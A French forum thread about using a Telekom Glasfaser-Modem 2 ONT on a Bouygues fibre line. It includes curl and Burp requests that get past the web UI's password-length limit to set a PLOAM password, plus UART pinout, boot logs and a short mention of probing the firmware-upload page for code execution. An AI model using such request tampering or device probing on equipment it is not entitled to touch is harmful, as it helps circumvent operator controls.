La Fibre

Datacenter et équipements réseaux => Routeurs => Bouygues Telecom Remplacer la Bbox par un routeur => Discussion démarrée par: benoitm974 le 13 mars 2023 à 03:27:33

Titre: Test Glasfaser-modem 2 telekom ONT 2.5Gbe Synchro OK / IPV4 OK / IPV6 OK
Posté par: benoitm974 le 13 mars 2023 à 03:27:33
EDIT ________

Pour ceux qui n'auront pas le courage de lire tout le thread, le résultat de cette investigation et l'ensemble des commandes et des configurations possibles de cet ONT  (PLOAM, LOID, N/S, FW, ....) ont été publié sur le wiki Gpon Hack:

https://hack-gpon.org/ont-sercomm-fg1000b-11/

________



Suite au passage à une offre ultym chez Bouygues (2Gb fibre) je me suis mis en quête d'un ONT ou d'un SFP à mettre devant mon routeur pour profiter des 2gb. Après pas mal de recherche sur le ce forum, on tombe soit sur les modules SFP (mais je n'ai pas de cage SFP sur mes switch ni routeur donc le cout final reste élevé) soit des ONT d'origines diverse que personne ne parvient à se procurer...

Par hasard sur amazon je suis tombé là dessus https://www.amazon.fr/Deutsche-Telekom-Connexion-Speedport-Domestique/dp/B09159SSJB/ref=sr_1_1?__mk_fr_FR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&crid=1GOREAQUFHGUC&keywords=telekom+modem+2&qid=1678672068&sprefix=telekom+modem+2%2Caps%2C60&sr=8-1 (https://www.amazon.fr/Deutsche-Telekom-Connexion-Speedport-Domestique/dp/B09159SSJB/ref=sr_1_1?__mk_fr_FR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&crid=1GOREAQUFHGUC&keywords=telekom+modem+2&qid=1678672068&sprefix=telekom+modem+2%2Caps%2C60&sr=8-1) ONT de chez Telekom la glasfaser-modem2 avec un port 2.5Gb ethernet. Y'a même des modèles d'occasion livré pour 27 euros ... pourquoi pas tester...

Premiers souci, le modem utilise un port LC APC pour la partie optique, mais amazon propose un cable  LC APC -> SC APC à 3,66 euros (par contre le mec les vends par paire :( ): https://www.amazon.fr/dp/B09GRY8YNL?psc=1&ref=ppx_yo2ov_dt_b_product_details (https://www.amazon.fr/dp/B09GRY8YNL?psc=1&ref=ppx_yo2ov_dt_b_product_details)

Après avoir reçu tout ça, j'ai pu faire les branchements
L'ONT est accessible en 192.168.100.1, de là il y a un menu 'Setup' pour renseigner le "PLOAM" (mot de passe pour l'authentification) du coup dans les forums j'ai pu voir que Bouygues utilise l'IMEI précédé de 5 '0'... Malheureusement l'interface web ne permet de saisir que 10 caractère  .... Deuxième tentative j'ai utilisé un proxy BURP pour intercepter la requête HTTP du menu Setup et voir si je pouvais injecter les 20 caractères directement -> A priori ca fonctionne... le led de l'ONT passe au vert fixe !!!! (je mets la requête curl équivalente plus bas dans le post)

Pour tester j'ai collé un routeur openwrt déjà configuré derrière ...  Il récupère bien l'IPv4 et l'IPV6 sur le VLAN 100.... ca fonctionne!

Par contre je n'ai pas encore pu tester les 2Gb car mon adaptateur 2.5Gbe USB ne supporte pas les VLAN :(...Je vais devoir choisir un routeur 2.5Gb maintenant... EDIT confirmé à minima 1.7GBPS (dépend beaucoup de votre  équipement 2.5gbs en face et du site de test iperf3) en D/L et le max de la ligne Bouyg Ultym en upload (>840MBPS)

Autre resources / tests que j'ai réalisé:

La requête curl pour envoyé les 20 caractère du EMEI: EDIT/ j'utilise l'IMEI qui est le numéro de série de la BBOx et non du SFP dans le cas d'un abonnement Ultym. (cf screenshot joint)
curl -i -s -k -X $'POST' \
    -H $'Host: 192.168.100.1' -H $'Accept: application/json, text/javascript, */*' -H $'X-Requested-With: XMLHttpRequest' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: http://192.168.100.1' -H $'Referer: http://192.168.100.1/ONT/client/html/content/config/setup.html?lang=en' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
    -b $'lang=en' \
    -d $'ploam_password=00000XXXXXXXXXXXXXXX' \
    $'http://192.168.100.1/ONT/client/data/Router.json'

Sequence que j'ai suivi (ca peut marcher autrement mais au cas où dans cet ordre là ça a fonctionné pour moi):
 - brancher l'ONT sans le prise fibre
 - se connecter sur http://192.168.100.1 après avoir branché l'ethernet et configuré une ip en manuel (ex: 192.168.100.2 / 255.255.255.0)
 - enregistrer le password EMEI avec un proxy Burp (ou la commande curl que j'ai testé aussi EDIT confirmé le curl ci-dessus fonctionne)
 - attendre que la requête se termine (c'est très long: 30s à 50s mini)
 - éteindre l'ONT, branché le cable optique, démarrer attendre la led verte fixe...

Autres éléments de mon exploration: EDIT: voir en page 3 les photos avec pin UART et les sortie de port série
 - l'ONT tourne avec un chip broadcom dual core 1.5Ghz mais n'a pas de radiateur ... peut-être quelque chose que je rajouterai bien que la température reste raisonable
 - j'ai démonté l'ONT, on peut se connecté au port sérier 3.3V ... mais à part le boot loader CFE et les quelques infos, je ne parviens pas à intérompte le boot pour intéragir avec le CFE ... Le port sérier n'est pas non plus activé dans les option du boot linux, du coup on n 'a pas de console :( ...
 - je n'ai trouvé aucune trace du firmware en ligne donc je n'ai pas pu explorer le firmware pour voir ce qu'il contient
 - je n'ai pas non plus trouvé de faille pour executer du code via l'interface web, la seule piste reste une header 'sh: rm not found' renvoyé par le menu d'upload du firmware ... mais pas réussi à en faire grand chose

Bref je pense que si on avait accès au linux avec les 256Mb et RAM et le double coeur à 1.5Ghz on pourrait presque l'utiliser comme routeur pour des usage simple ... mais bon déjà un ONT 2.5Gb pour 30 balles avec les cables on va pas se plaindre ;)....

Les limitations c'est qu'on ne reçoit pas les mises à jour du firmware et qu'elles ne sont à priori pas sur le site de telekom :(, et qu'on est "chanceux" que Bouygues n'utilise que la méthode password pour connecter l'ONT (du coup on n'a pas à changer le SLID/Numéro de série etc ... que l'ONT ne permet pas de changer dans ce firmware).

Benoitm974


Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 13 mars 2023 à 09:37:20
Salut, est-ce que cet ONT permet de récupérer les flux multicast pour la TV ?
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 13 mars 2023 à 11:07:19
Je pourrai dire ça dans la semaine, je vais pouvoir mettre temporairement mon mikrotik derrière avec la config IGMP proxy pour voir. ca ne validera toujours pas les 2Gb mais aux moins que tout fonctionne déjà.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 14 mars 2023 à 16:02:43
Bon ca sent bon, je confirme que je vois bien toutes les trames ethernet (IGMP, DHCPV6, RA advertisement) j'ai bien l'ip4 et ip6 (::1/60 complet)  OK.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 15 mars 2023 à 21:16:33
J'ai craqué, j'ai testé et c'est niet pour moi que ce soit avec simplement une requête curl ou en utilisant burpsuite.
Citer
Ihr Geräte-Modell: Glasfaser-Modem 2
Firmware-Version: 090144.1.0.001
Datum der Firmware: 21.09.20
La LED clignote mais rien de plus et avec un tel dépouillement, pas possible d'y voir plus clair.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 15 mars 2023 à 22:58:44
Ha mince ! je voulais pas t'embarquer dans une galère. à priori on a la meme version de firmware (cf screenshot ci-dessous). Quand tu as fait l'appel avec burp suite tu as bien eu une réponse positive en JSON?
est-ce que ta fibre est bien reconnue ? dans la section PON tu vois bien une valeur en db dans RX ? J'ai remarqué que le connecteur LC/APC est plus sensible si tu bouges ou fait levier la led verte peut clignoter...

C'est bien la led vert qui clignote ?

Benoit

Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 15 mars 2023 à 23:15:41
J'ai bien un code 200 par contre, pas de valeur RX (cela m'avait un peu étonné), je vais tester s'il y a un problème de liaison physique.
La LED passe de l'orange au vert clignotant.

Je n'ai pas le même écran dans l'interface après avoir modifié le PLOAM, c'est étrange. Quelque chose ne va pas de ce côté.

EDIT: même en rentrant un PLOAM bidon dans l'interface web je n'ai pas le message que tu as.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 15 mars 2023 à 23:43:16
Ok je pense qu'il ya un truc sur l'alignement du cable optique la séquence de la led au boot (même après un factory reste) c'est:
   ONT branché -> led verte clignote lentement -> orange fixe -> led verte clignote rapidement -> (si PLOAM OK) -> led verte fixe

Tant que tu n'as pas la led verte rapide et une valeur de RX dans le menu PON status je pense que c'est le contact et tu n'aura pas la PLOAM au vert

Par rapport à ton message sur la page PLOAM moi non plus j'ai pas cette page quand tu je soumets le mot de passe la première fois. Par acquis de conscience je viens de faire une remise à zero complète de l'ONT puis:
 -> Je débranche après le factory reset
 -> je branche ethernet et alimentation sur un ordi avec un ethernet en 192.168.100.2/255.255.255.0 (EDIT/ je ne branche pas la fibre optique et la led reste orange pendant toute cette partie)
 -> je lance burp proxy, puis un navigateur configuré en proxy 127.0.0.1 8080
 -> je vais sur http://192.168.100.1, puis je clique sur la page Setup
 -> là je vais dans burp, onglet "Proxy" et j'active intercept on
 -> sur la page setup je rentre un code bidon 1111112 puis save
 -> je retourne dans burp qui a intercepté, l'appel, je modifie le 1111112 en 00000xxxxxxxxxxxxxxx ou xxxxxxxxxxxxxxx est l'IMEI de la BBOX complété par des zero pour obtenir 20 caractères
 -> je clique forward pour que burp envoi la requete
 -> sur la page web une icone rose tourne en attente assez longtemps (30sec au moins)
 -> Quand le loader s'arrête on a l'impression que rien ne s'est passé (je n'ai pas à ce moment la page avec l'icone vert qui dit que le PLOAM est ok), par contre dans les trace burp je vois une réponse JSON (cf screenshot burp joint)
 -> là je débranche tout
 -> je rebranche la fibre optique, puis le cable d'alimentation
 -> j'ai la séquence de led décrite ci-avant dans mon message led verte fixe c'est ok.

Bon au moins je suis rassuré que je reproduis mon setup et j'ai toujours la synchro après un factory reset.

Autre truc intéressant l'ONT sur la page status /general arrive à se mettre à l'heure .... je me demande par quel moyen et quel serveur il interroge coté fibre/Bouygues pour obtenir l'heure ...
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 16 mars 2023 à 00:14:47
J'ai testé les 2 jarretières et à aucun moment je n'ai de valeur TX.
Je pense qu'il y a un souci matériel.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 16 mars 2023 à 00:50:18
Au debut c'est le RX que tu auras, le TX ne l'a que si la led passe au vert fixe. Est-ce que ta les clignote vert rapide avec la fibre branchée ?
Benoit
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 16 mars 2023 à 14:12:45
La LED verte clignote rapidement et j'ai bien un code 200 en retour avec cURL ou Burpsuite, j'ai vérifié le PLOAM avec mon UI Nano G et je suis correctement identifié.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 16 mars 2023 à 17:51:44
Et le cable est bien APC SC vers LC (pas d'UPC ?) les deux coté sont verts par convention je crois.
Benoit
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 16 mars 2023 à 17:59:55
C'est la même référence que celle du 1er message, je n'ai pas improvisé pour le câble.
Il reste la possibilité d'un non enregistrement des paramètres de configuration.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 18 mars 2023 à 12:27:43
J'ai une dernière question, à quel moment le message "The PLOAM password has been entered" s'affiche ?
Après reboot une fois le PLOAM validé (code 200), peu importe si la jarretière est enfichée ?
Uniquement après authentification sur le réseau ?
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 18 mars 2023 à 12:45:56
Pour continuer sur le sujet, le module SFP fourni par DT et fabriqué par Zyxel se bidouille bien également:
https://github.com/xvzf/zyxel-gpon-sfp
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 18 mars 2023 à 14:57:27
Ha oui par contre on est plus dans la même gamme de prix pour le zyxel… ce qui est vraiment dommage avec le glasfaser c’est que j’arrive pas à trouver un hack pour avoir access au system car avec un double cœur 1.5ghz et la ram on pourrait en faire un routeur à brancher sur un switch pour 2 w de consommation … la j’attends en nanopi 5rc pour tester.

Concernant le test de quand le message s’affiche au vert je fais le test cette nuit et te tiens au courant je peux pas couper la famille en journée surtout le week-end ;)
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 18 mars 2023 à 18:56:36
J'ai une dernière question, à quel moment le message "The PLOAM password has been entered" s'affiche ?
Après reboot une fois le PLOAM validé (code 200), peu importe si la jarretière est enfichée ?
Uniquement après authentification sur le réseau ?

Alors moi je fais le setup sans être connecté à la fibre, juste ethernet, avec Burp proxy en mode intercept/forward(je n'ai pas essayé en curl ou en replay sur burp).
Quand j'envois la requête via burp j'ai une réponse 200 mais la page status reste avec le champ password. La je débranche l'ONT
Ensuite je branche la fibre, puis je rebranche l'ont et là seulement la page passe au vert une fois la connection faite.
Ensuite que je débranche / rebranche l'OT avec ou sans la fibre la page est verte

Aussi j'ai découvert ce github où un mec à découvert un page status qui done quelques infos de status: https://github.com/uffsalot/telegraf-glasfasermodem-2
l'url en question c'est : http://192.168.100.1/ONT/client/data/Status.json
Notamment les valeurs (ici quand je ne suis pas connecté en fibre mais après un succès PLOAM)
{"vartype":"value","varid":"ploam_state","varvalue":"1"},{"vartype":"value","varid":"ploam_success","varvalue":"1"},{"vartype":"value","varid":"save_fails","varvalue":"0"},{"vartype":"value","varid":"service_mode","varvalue":"0"}

D'ailleurs la variable 'service_mode' m'intrigue ... à bidouiller :)

Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 18 mars 2023 à 19:22:18
Mon problème est que je n'ai jamais la page qui passe au vert après avoir rentré le nouveau PLOAM.
J"obtiens à chaque fois le code 200 (burp ou curl) mais cela ne semble pas suffisant.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 18 mars 2023 à 19:27:05
Mon problème est que je n'ai jamais la page qui passe au vert après avoir rentré le nouveau PLOAM.
J"obtiens à chaque fois le code 200 (burp ou curl) mais cela ne semble pas suffisant.
Je veux pas paraître insistant, mais tu as compris que mon non plus je n'ai pas jamais eu la page qui passait au vert en 'live', de meme je n'ai pas réussi à faire le setup avec la fibre branché et voir la page passer au vert directement. Je le fait en aveugle en 2 étapes:
 - fibre débranché, connecté en ethernet je fais le save du password, puis je débranche éléctriquement
 - ensuite je branche la fibre, débranche l'ethernet puis branche electriquement l'ONT -> là la led passe au vert
 - puis je branche l'ethernet et ensuite c'est ok et stable
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: Belgorf le 18 mars 2023 à 19:52:45
Je veux pas paraître insistant, mais tu as compris que mon non plus je n'ai pas jamais eu la page qui passait au vert en 'live', de meme je n'ai pas réussi à faire le setup avec la fibre branché et voir la page passer au vert directement. Je le fait en aveugle en 2 étapes:
 - fibre débranché, connecté en ethernet je fais le save du password, puis je débranche éléctriquement
 - ensuite je branche la fibre, débranche l'ethernet puis branche electriquement l'ONT -> là la led passe au vert
 - puis je branche l'ethernet et ensuite c'est ok et stable

Salut, bien joué pour la solution qui peuvent servir a d'autres  ;D

J'aurais quelques questions si cela ne te dérange pas  ;)

Tu as les 2gb/s annoncer par Bouygues ?
Tu as fais des test pour la stabilité ?
Quel routeur as-tu derrière l'ONT ?
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 18 mars 2023 à 20:01:34
Bon je rajoute tout ce que j'ai pu trouver à ce jour sur la glasfiber telekom modem 2

Démontage:
 - 2 vis uniquement sous les patins en caoutchouc de l'arrière (les deux plus proche des prises
(cf photo)

Port série:
 - il y a 2 borniers sur le coté de la carte 1 de 3 ("JB1") et 1 de 4 ("JP1")
 - le port série est sur le bornier "JP1":
 pin 1 (indiqué par la flèche): RX
 pin 2 : 3.3V
 pin 3: TX
 pin 4: GND
(cf photo)
115200 bauds 8N1

Sortie du port série en pièce jointe

Boot sequence:

 - The CFE boot delay est à 1 seconde, mais je ne parviens pas à envoyé de caractère ou à interrompre le boot (EDIT sur la carte on peut suivre la ligne du circuit imprimé qui arrive bien sur le CPU, par contre on notre qu'il "pourrait" manqué 1 resistance (de pullup ?) entre un point du 3.3V et la ligne RX, j'ai tenté d'intercaler un resistance de 1K ohm mais sans succès ...

 - CFE boor guide from broadcom : https://github.com/blackfuel/asuswrt-rt-ax88u/blob/master/release/src-rt-5.02axhnd/docs/customerDocs/BCM963XX_bootloader_appnote-963XX-AN102-SWRDS.pdf

 - Si on appuie sur le bouton reset pendant le boot, l'ONT initialise l'ethernet et passe par une phase en 192.168.1.1 (probable qu'il tente de faire un TFTP? et l'interface de chargement de firmware CF web est dispo sur http://192.168.1.1)

Button is pressed!
Toggle reset of XRDP core...
Toggle reset of XRDP core...
Parse board Params Start
SGMII PLL locked
XRDP INIT start
XRDP INIT FPM Address 000000000e000000
*** FIXME: RDP virtual memory workaround ***
data_path_init_basic: Restore HW configuration
access_log_restore: 10021 entries processed
data_path_init_basic: Restore HW configuration done. rc=0
XRDP INIT Done
MAC and PHY Init Start

Detecting PHYs...
RTL8221B 1c:c848 --> 0x7
0xa420 data is 0x23.
0xb800 data is 0xc0.
0xb800 data is 0x80.
internal_open: Done
Creating CPU ring for queue number 16 with 512 packets descriptor=0x00000000010ff9a0, size_of_entry 8
Done initializing Ring 16 Base=0x0000002001129840 num of entries= 512 RDD Base=1129840 descriptor=0x00000000010ff9a0
Creating CPU ring for queue number 0 with 1024 packets descriptor=0x00000000010ff0a0, size_of_entry 16
Done initializing Ring 0 Base=0x0000002001232180 num of entries= 1024 RDD Base=1232180 descriptor=0x00000000010ff0a0
CPU ring init Done
eth_fh:1
No active ports
web info: Waiting for connection on socket 0.
ETH Init Success!
ubi_find_file: got vmlinux.lz  size 2732917
Decompression LZMA Image OK!
Entry at 0x0000000000080000
Closing network.
Starting program at 0x0000000000080000
ubi_find_file: got 96856.dtb  size 2973
cfe_fs_fetch_file: Success locating 96856.dtb image
/memory = 0x10000000 bytes @ 0x0
rdp param1 value 0x2000000 in device tree larger than nvram value 0x1000000. Use device tree value!
Appending CFE version to dtb, ret:0
Appending NVRAM to dtb, ret:0

EDIT
photo suplémentaires
sur le dos de la carte 1 flash NAND ref F59L1G81MB https://www.esmt.com.tw/upload/pdf/ESMT/datasheets/F59L1G81MB(2M).pdf
on dirait un EEPROM également ref HE24C08210150

sur le devant de la carte photo sans les radiateurs cette fois
netwrok RTL 8221B L7DMD3H3 GL30
Memoire ESMT M15T2G16128A
BCM6830 "OK" FFBG (pas certain du OK

Toujour aucune idée sur la fonction du connecteur JP1 qui se compose d'une masse et 2 pistes qui semblent aller directement au CPU et qui sont à 3.3V(malheureusement pas d'osciloscope pour voir le type de signal) mais le voltage varie un peu pendant le boot...




Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 18 mars 2023 à 20:10:27
Salut, bien joué pour la solution qui peuvent servir a d'autres  ;D

J'aurais quelques questions si cela ne te dérange pas  ;)

Tu as les 2gb/s annoncer par Bouygues ?
Tu as fais des test pour la stabilité ?
Quel routeur as-tu derrière l'ONT ?

Malheureusement pour l'instant j'ai commandé un nanopi R5C qui attends à la douane de CDG :), donc pas testé la bande passante à 2gb, j'ai un petit routeur qui a tourné 48h sur l'ont,  pas de chauffe ni ne déconnection.

Je continue à poster mes tests dans ce thread :)
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 18 mars 2023 à 20:22:02
Je veux pas paraître insistant, mais tu as compris que mon non plus je n'ai pas jamais eu la page qui passait au vert en 'live', de meme je n'ai pas réussi à faire le setup avec la fibre branché et voir la page passer au vert directement. Je le fait en aveugle en 2 étapes:
 - fibre débranché, connecté en ethernet je fais le save du password, puis je débranche éléctriquement
 - ensuite je branche la fibre, débranche l'ethernet puis branche electriquement l'ONT -> là la led passe au vert
 - puis je branche l'ethernet et ensuite c'est ok et stable
Tout va bien jusqu'à la requête via curl ou burp, mais au redémarrage, aucun changement.
Je réalise toutes les étapes avec la fibre débranchée avant le redémarrage électrique.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 18 mars 2023 à 22:38:24
Tout va bien jusqu'à la requête via curl ou burp, mais au redémarrage, aucun changement.
Je réalise toutes les étapes avec la fibre débranchée avant le redémarrage électrique.

Je te dirai lundi soir j'ai un deuxième ONT qui arrive pour continuer les tests sur le port série, si j'ai le meme souci avec un second ONT c'est que j'ai eu un coup de bol, sinon je te ferai une vidéo si nécessaire qu'on soit sur de faire les mêmes étapes, je fais peut-être quelque chose de différent par hasard sans le décrire...

Benoit
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 18 mars 2023 à 23:24:56
Il ne faut pas non plus oublier que la configuration de l'OLT en face à son importance et cela on ne le maîtrise pas.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 20 mars 2023 à 01:14:49
Bon en attendant mon nanopi R5C, les résultats avec un carte 2.5Gb RTL8125B PCI dans un vieux pc (AMD FT3 Kabini A4-5000 Quad-Core APU)
je pense qu'on atteint la limite du pc (SIRQ >70%), où lancer un simple top en même temps diminue les perf cependant on note que le modem telekom 2 donne le quasi même résultat que la BBOX, on est déjà plus proche des 2Gb que du 1Gb ce qui confirme sa capacité en ethernet 2.5Gb et qu'il n'y a pas de limitation coté OLT/Bouygues.

Tester sur iperf3 -c bouygues.testdebit.info -p 9240  -t 60 -i 3 (-R) (c'est à priori le serveur iperf3 le plus proche pour moi...

sur telekom modem 2
upload
[  5]   0.00-3.00   sec   311 MBytes   871 Mbits/sec   19    331 KBytes       
[  5]   3.00-6.00   sec   313 MBytes   875 Mbits/sec   12    356 KBytes       
[  5]   6.00-9.00   sec   311 MBytes   871 Mbits/sec   41    390 KBytes       
[  5]   9.00-12.00  sec   313 MBytes   875 Mbits/sec   30    445 KBytes       
[  5]  12.00-15.00  sec   312 MBytes   874 Mbits/sec    9    467 KBytes
download
[  5]   0.00-3.00   sec   534 MBytes  1.49 Gbits/sec                 
[  5]   3.00-6.00   sec   543 MBytes  1.52 Gbits/sec                 
[  5]   6.00-9.00   sec   545 MBytes  1.52 Gbits/sec                 
[  5]   9.00-12.00  sec   513 MBytes  1.44 Gbits/sec                 
[  5]  12.00-15.00  sec   564 MBytes  1.58 Gbits/sec

sur bbox Wifi6E
upload
[  5]   0.00-3.00   sec   303 MBytes   848 Mbits/sec    1    721 KBytes       
[  5]   3.00-6.00   sec   310 MBytes   867 Mbits/sec    0   1000 KBytes       
[  5]   6.00-9.00   sec   312 MBytes   874 Mbits/sec    4    899 KBytes       
[  5]   9.00-12.00  sec   311 MBytes   870 Mbits/sec    0   1.09 MBytes       
[  5]  12.00-15.00  sec   312 MBytes   874 Mbits/sec    3   1020 KBytes

download
[  5]   0.00-3.00   sec   527 MBytes  1.47 Gbits/sec                 
[  5]   3.00-6.00   sec   604 MBytes  1.69 Gbits/sec                 
[  5]   6.00-9.00   sec   612 MBytes  1.71 Gbits/sec                 
[  5]   9.00-12.00  sec   612 MBytes  1.71 Gbits/sec                 
[  5]  12.00-15.00  sec   601 MBytes  1.68 Gbits/sec 
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 20 mars 2023 à 19:33:32
Il ne faut pas non plus oublier que la configuration de l'OLT en face à son importance et cela on ne le maîtrise pas.
Bon j'ai bien reçu le second ONT, déballé, branché en Ethernet + Courant, utilisé la fonction Burp intercept, mis l'IMEI 00000xxxxxxxxxxxxxxx, débranché, rebranché avec la fibre -> passage au vert fixe...

Question est-ce que tu as un autre ONT ou SPF que tu as déjà essayé ? on pourrait lever l'hypothèse que certains OLT autorisent la session GPON avec n'importe quel ONT en ne contrôlant que le mot de passe ? et d'autre auraient besoin que le numéro de série et slid correspondent...
Benoit
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 21 mars 2023 à 08:57:19
J'ai déjà utilisé un UI nano G et un clone de Huawei HG8010H sans modifier le numéro de série et je me suis authentifié sur l'OLT.
Je devrais essayer avec un ONU au format SFP.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 21 mars 2023 à 10:48:34
J'ai déjà utilisé un UI nano G et un clone de Huawei HG8010H sans modifier le numéro de série et je me suis authentifié sur l'OLT.
Je devrais essayer avec un ONU au format SFP.

Est-ce que l'offre bouygues peut jouer ? Je suis sur une offre Bbox ultym est-ce qu'ils changent les règles pour le SFP+ livré avec la bbox 6E ?

Benoit
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 21 mars 2023 à 11:00:13
Tout va bien jusqu'à la requête via curl ou burp, mais au redémarrage, aucun changement.
Je réalise toutes les étapes avec la fibre débranchée avant le redémarrage électrique.

Je me suis demandé également si le content-length de la requête ne joue pas, dans mon exemple le content-length est de 22 pour le "ploam_password=1111112" or quand tu mets le 00000<IEMI BBOX> tu dois augmenter à 35? Je me demande dans quelle mesure burp modifie bien pour toi cette valeur quand tu fais un intercept ou un repeater ? Normalement l'option "Update Content-Length" est cochée par défaut mais peut-être quelque chose à vérifier ?
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 21 mars 2023 à 12:12:51
J'ai bien vérifié que la chaîne de caractères 'ploam_password=01234567890123456789'  faisait ses 35 octets et qu'en conséquent le header content-length était bien ajusté avec une valeur de 35.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: rooot le 21 mars 2023 à 12:18:22
Je me suis demandé également si le content-length de la requête ne joue pas, dans mon exemple le content-length est de 22 pour le "ploam_password=1111112" or quand tu mets le 00000<IEMI BBOX> tu dois augmenter à 35? Je me demande dans quelle mesure burp modifie bien pour toi cette valeur quand tu fais un intercept ou un repeater ? Normalement l'option "Update Content-Length" est cochée par défaut mais peut-être quelque chose à vérifier ?
attention le "content-length" il ne faut jamais l'indiquer dans les requetes, il est automatiquement calculé. si tu l'indiques il faut etre absolument certain que la valeur est bonne, sinon ce qui est envoyé pourrait etre tronqué et mal interpreté à la reception.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: mirtouf le 21 mars 2023 à 12:51:46
C'est une possibilité à laquelle je penche également maintenant, je vais voir si l'option -d de curl serait suffisante.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: rooot le 21 mars 2023 à 16:28:55
https://stackoverflow.com/questions/49883122/curl-how-to-set-content-length-header-at-command-line
Citer
By default curl sets appropriate Content-Length header for you when data is provided with -d parameter.
Titre: Test Glasfaser-modem 2 telekom pour remplacement ONT 2.5Gbe Synchro OK / IPV4 OK
Posté par: benoitm974 le 21 mars 2023 à 22:12:45
Bon donc j'ai testé la commande curl en -d qui fonctionne (après factory reset, j'ai bien vérifié que je n'avais plus de syncrho, j'ai aussi injecté un faut IMEI j'ai pas de synchro et dès que je mets le bon EMEI avec cette commande curl j'ai bien la synchro:

curl -i -s -k -X $'POST' \
    -H $'Host: 192.168.100.1' -H $'Accept: application/json, text/javascript, */*' -H $'X-Requested-With: XMLHttpRequest' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Origin: http://192.168.100.1' -H $'Referer: http://192.168.100.1/ONT/client/html/content/config/setup.html?lang=en' -H $'Accept-Encoding: gzip, deflate' -H $'Accept-Language: en-GB,en-US;q=0.9,en;q=0.8' -H $'Connection: close' \
    -b $'lang=en' \
    -d $'ploam_password=00000XXXXXXXXXXXXXXX' \
    $'http://192.168.100.1/ONT/client/data/Router.json'
HTTP/1.0 200 OK
Cache-Control: no-cache,no-store,max-age=0
Prama: no-cache
X-Frame-Options: DENY
Expires: 0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
CONTENT-LANGUAGE: en-GB,en-US;q=0.9,en;q=0.8
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'
Content-type: application/javascript

